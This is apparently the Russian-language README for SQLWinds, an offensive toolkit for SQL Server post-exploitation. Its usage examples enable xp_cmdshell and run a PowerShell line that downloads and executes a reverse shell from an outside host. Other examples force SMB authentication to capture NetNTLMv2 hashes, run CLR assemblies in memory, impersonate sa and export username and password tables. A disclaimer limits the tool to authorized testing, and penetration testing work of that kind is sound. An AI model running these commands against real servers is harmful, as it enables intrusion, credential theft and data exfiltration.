
SQLWinds - Оценка безопасности SQL Server и набор инструментов для пост-эксплуатации
Инструментарий для оценки безопасности SQL и пост-эксплуатации
SQLWinds — это инструмент командной строки для тестирования безопасности и эксплуатации Microsoft SQL Server. Он предоставляет интерактивную среду для глубокого анализа серверов, повышения привилегий, выполнения атак и перемещения по сети с помощью специализированных команд для таких задач, как выполнение кода в памяти и исследование базы данных SCCM.
Быстрые ссылки:
--integrated) и делегирования Kerberos (--kerberos с --user/--pass).xp_cmdshell, процедур автоматизации OLE (sp_oacreate) и интеграции CLR.:memclr).:unc_smb).xp_regread.В репозитории есть скрипт build.bat для простой компиляции в Windows:
.\build.bat
Скомпилированный исполняемый файл SQLWinds.exe будет помещён в каталог bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL-аутентификация
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Аутентификация Windows (текущий контекст пользователя)
SQLWinds.exe --server sql01.corp.local --integrated
# Делегирование Kerberos (с указанными учётными данными)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Подключение и выполнение одной команды
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain для больших скриптовКоманда :plain необходима для выполнения больших многострочных SQL-скриптов.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain и нажмите Enter.:execute для выполнения всего скрипта или :cancel для отмены.1. Аудит
SQLWinds.exe --server dc01 --integrated --security-audit
2. Использование xp_cmdshell для выполнения кода
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# В открывшемся REPL:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. Выполнение CLR в памяти (без записи на диск)
# Скомпилируйте вашу .NET-сборку в DLL (например, CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. Перехват хэшей NetNTLMv2 через SRelay
# На вашей машине: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. Эксплуатация базы данных SCCM
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. Эксфильтрация данных
# Экспорт чувствительных данных в CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Скачивание файла, хранящегося в базе данных
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
Мы приветствуем ваш вклад! Если у вас есть идеи по улучшению или вы нашли какие-либо проблемы:
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Разработчики не несут ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этой программой.
Разработано blue0x1.
| Параметр | Описание |
|---|
--server | Целевой сервер (IP, имя хоста, экземпляр). Обязательный. |
--user, --pass | Учётные данные для SQL- или Windows-аутентификации. |
--integrated | Использовать текущий токен Windows для аутентификации. |
--kerberos | Использовать поток аутентификации Kerberos. |
--spn-check | Проверить SPN в AD для целевого хоста. |
--run-cmd "<SQL>" | Выполнить одну SQL-команду и выйти. |
--run-file file.sql | Выполнить SQL-скрипт из файла и выйти. |
--info | Собрать и отобразить подробную информацию о сервере. |
--getinstance | Обнаружить SQL-экземпляры в домене и выйти. |
--list-dbs | Вывести список баз данных и выйти. |
--security-audit | Выполнить аудит безопасности и выйти. |
| Команда | Описание | Пример |
|---|
:info | Показать подробную информацию о сервере | :info |
:dbs | Вывести список всех баз данных с деталями | :dbs |
:tables [db] [schema] | Вывести список таблиц в базе/схеме | :tables master dbo |
:columns <table> [schema] [db] | Вывести список столбцов таблицы | :columns Users dbo MyDatabase |
:users | Вывести список всех SQL-логинов и пользователей БД | :users |
:perms | Показать разрешения текущего пользователя | :perms |
:audit | Выполнить аудит конфигурации безопасности | :audit |
:search [term] | Поиск чувствительных данных | :search password |
:secrets | Извлечь потенциальные секреты | :secrets |
:services | Показать учётные записи служб SQL Server | :services |
:spn | Проверить SPN для целевого хоста | :spn |
:enable_xp_cmdshell | Включить xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | Отключить xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | Выполнить команду ОС через xp_cmdshell | :xp whoami |
:enable_ole | Включить автоматизацию OLE | :enable_ole |
:disable_ole | Отключить автоматизацию OLE | :disable_ole |
:ole_cmd <command> | Выполнить команду ОС через OLE | :ole_cmd "calc.exe" |
:enable_clr | Включить интеграцию CLR | :enable_clr |
:disable_clr | Отключить интеграцию CLR | :disable_clr |
:deploy-clr <path> | Развернуть сборку CLR из файла | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | Вывести список развёрнутых сборок CLR | :list-assemblies |
:clr_exec | Выполнить метод CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | Выполнить сборку CLR из памяти | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | Удалить сборку CLR | :remove-assembly MyAssembly |
:list_linkservers | Вывести список связанных серверов | :list_linkservers |
:linkrpc <srv> <cmd> | Выполнить команду через связанный сервер | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | Выполнить имперсонализацию SQL-логина | :impersonate sa |
:revert | Вернуть исходный контекст безопасности | :revert |
:agent_job | Управление заданиями агента SQL | :agent_job create MyJob "whoami" |
:ls [path] | Вывести содержимое каталога через SQL | :ls C:\Windows\Temp |
:unc_smb <path> | Принудительная SMB-аутентификация на UNC | :unc_smb \\192.168.1.100\share |
:plain | Вставка больших SQL-скриптов | (см. пример ниже) |
:regread | Прочитать значение реестра | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | Вывести все значения в разделе | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | Загрузить файл в таблицу | :upload C:\file.txt MyTable |
:download | Скачать двоичные данные из запроса | :download "SELECT file FROM blobs" out.bin |
:exportcsv | Экспортировать запрос в CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | Экспортировать запрос в JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | Обнаружить базу данных SCCM | :sccm_info |
:sccm_inventory | Показать инвентаризацию SCCM | :sccm_inventory |
:sccm_collections | Вывести список коллекций SCCM | :sccm_collections "All Systems" |
:sccm_deployments | Показать развёртывания | :sccm_deployments |
:sccm_clients | Вывести список клиентов | :sccm_clients inactive |
:sccm_audit | Аудит безопасности SCCM | :sccm_audit |
:sccm_application | Показать детали приложения | :sccm_application "Google Chrome" |
help | Показать справку | help |
exit | Выйти из REPL | exit |